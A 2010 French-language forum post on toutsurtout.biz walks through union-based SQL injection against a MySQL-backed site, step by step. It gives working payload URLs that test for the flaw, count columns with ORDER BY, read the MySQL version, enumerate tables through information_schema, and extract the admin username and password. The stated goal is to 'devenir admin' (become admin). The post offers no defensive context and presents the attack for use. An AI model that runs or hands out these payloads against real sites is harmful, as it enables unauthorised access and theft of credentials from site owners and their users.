Annonce ToutSurTout

Bienvenue sur toutsurtout.biz

Déjà 15 ans !

Radio TST

Si vous souhaitez participer vous aussi aux discussions sur le forum, il faut vous inscrire ou vous identifier.

Le Thème TST Noël est maintenant en place.

Les inscriptions sont actuellement OUVERTES.

Message 1 Discussion postée le 25-09-2010 à 00:56:44

Loic
Avatar de Loic


Titre: Administrateur d'élite
Avancement: Niveau 5
Lieu: Avec Solenne
Date d'inscription: 26-09-2009
Messages: 108 300
Site web

Injection SQL

Lfaille sql est une faille très très présente sur le web et aussi très très dangereuse
En executant certaine requetes dans la bdd mysql il est possible de devenir admin.


vulnérable a la faille sql?:

voici un exemple de site:

http://mon-site.com/index.php?id=1

a première vu ce site a rien de spécial, pourtant...

http://mon-site.com/index.php?id=1'

La ont a ajouter un quote, si le site a une error quelquonque il est faillible sinon vous pouvez arreter ici
vous devez avoir une erreur du genre:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND id > 0 AND etat = 1' at line 1




Le nombre de column?:
Ensuite il faut trouver le nombre de column:

http://mon-site.com/index.php?id=1 order by 1

commencer a mettre order by 1 jusqua ce que vous voyer une error

http://mon-site.com/index.php?id=1 order by 1-- <= PAS ERROR
http://mon-site.com/index.php?id=1 order by 2-- <= PAS ERROR
http://mon-site.com/index.php?id=1 order by 3-- <= PAS ERROR
http://mon-site.com/index.php?id=1 order by 4-- <= PAS ERROR
http://mon-site.com/index.php?id=1 order by 5-- <=   ERROR  (SUPER)

Dans mon cas l'erreur est a la 4eme column étant donner qu'il faut faire -1 pour obtenir la column, par exemple
si a order by 10 je vient d'avoir une error je fait -1 donc order by 9 est ma column



La fonction union!:

Ensuite ont a besoin de la fonction union, elle sert a selectionner plusieurs donner, nous allons donc selectionner notre nombre de column:

http://mon-site.com/index.php?id=1 union select 1,2,3,4-- <= Si vous voyez un nombre (sois 1, 2, 2 ou 4) l'union a marcher, si vous voyez rien sois vous vous etes tromper a un endroit
sois le site est pas faillible



La version mysql:

Ont va dire qu'on a trouver le nombre 1

http://mon-site.com/index.php?id=1 union select @@version,2,3,4--

Il suffit ensuite de remplacer le numéro que vous avez trouver par @@version (exemple ci-dessus)
Normalement vous devez voir une version sois 4.*** ou 5.***, moi j'ai trouver une version 5 si vous avez trouvez une version 4 vous pouvez arreter la, la version 4 a pas les meme table et pour
exploiter la version 4 il faudra suivre un autre tuto



Trouver le nom des tables:

Pour cela il fous suffira de remplacer @@version par group_concat(table_name,0x3,column_name,0x3,table_schema,0x3)
et a la fin de rajouter: from information_schema.tables where table_schema=database()--
ce qui nous donnera:

http://mon-site.com/index.php?id=1 union select group_concat(table_name,0x3,column_name,0x3,table_schema,0x3),2,3,4 from information_schema.tables where table_schema=database()--

La page affiche des tables, dans ces tables celle qui nous interesse est celle de l'admin, (elle a comme nom admin ou quelque chose qui s'y rapporte)



Trouver 2 columns:

Après avoir trouver le nom de table qui nous interesse (admin) nous allons chercher 2 columns, il vous suffit de remplacer:

group_concat(table_name) par group_concat(column_name)

Et aussi a la fin de l'URL :
ceci: from information_schema.tables where table_schema=database()--

par cela :from information_schema.columns where table_schema=database()--

Après sa donne :

http://mon-site.com/index.php?id=1 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema=database()--

dans mon cas, les 2 column qui m'interesse sont:

Admin_Username  et
Admin_password

Moi j'ai sa mais vous n'aurez pas pareille il faut réfléchir parrfois c'est utilisateur, mot_passe ou encore id, mdp ainsi de suite



Afficher l' "username" et "password" de "admin"

Bon je vous prévient vous avez fait le plus dur, ce qui suit est super simple smile

Maintenant que nous avont le nom de nos column et notre table nous allons devoir faire une selection, changer group_concat(column_name) en Admin_Username  et
Admin_password

dans mon cas sa donnera sa: http://mon-site.com/index.php?id=1 union select group_concat(Admin_Username,0x3,Admin_password
),2,3,4 from admin


http://www.toutsurtout.biz/img/UserBarTST.gif
http://www.toutsurtout.biz/img/Sign-Loic.gif
Loic DL un jour, Loic DL toujours ...